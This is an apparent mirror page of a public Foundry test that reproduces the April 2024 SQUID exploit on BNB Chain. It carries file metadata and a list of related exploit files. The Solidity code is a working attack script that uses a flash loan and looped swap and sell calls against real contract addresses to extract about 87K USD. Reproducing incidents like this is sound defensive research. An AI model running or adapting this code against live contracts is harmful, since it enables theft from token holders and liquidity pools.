Public reproduction file
src/test/2024-04/SQUID_exp.sol
Public reproduction file for dataset entry SQUID.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/bsc/0x9fcf38d0af4dd08f4d60f7658b623e35664e74bca0eaebdb0c3b9a6965d6257b8// GUY : https://twitter.com/bbbb/status/177722827741503930410// Profit : ~87K USD11// REASON : Sandwitch attack13interface IsquidSwap {14 function swapTokens(15 uint256 amount16 ) external;17 function sellSwappedTokens(18 uint256 sellOption19 ) external;20}22contract ContractTest is Test {23 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));24 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);25 IERC20 SQUID_1 = IERC20(0x87230146E138d3F296a9a77e497A2A83012e9Bc5);26 IERC20 SQUID_2 = IERC20(0xFAfb7581a65A1f554616Bf780fC8a8aCd2Ab8c9b);27 IsquidSwap SQUID_SWAP = IsquidSwap(0xd309f0Fd5C3b90ecFb7024eDe7D329d9582492c5);28 Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);29 Uni_Pair_V2 wbnb_atm = Uni_Pair_V2(0xAea45F6d5801Fc716C654872Eb1E2235472A18B9);30 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);31 uint256 borrow_amount;33 function setUp() external {34 cheats.createSelectFork("bsc", 37_672_969);35 }37 function testExploit() external {38 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);39 borrow_amount = 10_000 ether;40 pool.flash(address(this), 0, borrow_amount, "");41 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);42 }44 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {45 swap_token_to_token(address(WBNB), address(SQUID_1), 7000 ether);46 SQUID_1.approve(address(SQUID_SWAP), SQUID_1.balanceOf(address(this)));47 SQUID_SWAP.swapTokens(SQUID_1.balanceOf(address(this)));48 swap_token_to_token(address(WBNB), address(SQUID_2), 3000 ether);49 uint256 i = 0;50 uint256 j = 0;51 while (i < 8000) {52 try SQUID_SWAP.sellSwappedTokens(0) {}53 catch {54 break;55 }56 i++;57 }59 while (j < 4) {60 swap_token_to_token(address(SQUID_2), address(WBNB), SQUID_2.balanceOf(address(this)));61 swap_token_to_token(address(WBNB), address(SQUID_1), 7000 ether);62 SQUID_1.approve(address(SQUID_SWAP), SQUID_1.balanceOf(address(this)));63 SQUID_SWAP.swapTokens(SQUID_1.balanceOf(address(this)));64 swap_token_to_token(address(WBNB), address(SQUID_2), 3000 ether);65 while (i < 8000) {66 try SQUID_SWAP.sellSwappedTokens(0) {}67 catch {68 break;69 }70 i++;71 }72 j++;73 }74 swap_token_to_token(address(SQUID_2), address(WBNB), SQUID_2.balanceOf(address(this)));75 WBNB.transfer(address(pool), borrow_amount + fee1);76 }78 function swap_token_to_token(address a, address b, uint256 amount) internal {79 IERC20(a).approve(address(router), amount);80 address[] memory path = new address[](2);81 path[0] = address(a);82 path[1] = address(b);83 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);84 }85}Analysis
Dataset entry
Public Foundry test for “SQUID” (2024-04-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- SQUID
- Path
- src/test/2024-04/SQUID_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5c1a4d9c6572a92c128604275a4314e7bd1df206
- Language
- Solidity
- Size
- 86 lines
- Date
- 2024-04-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/SQUID_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5c1a4d9c6572a92c128604275a4314e7bd1df206, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.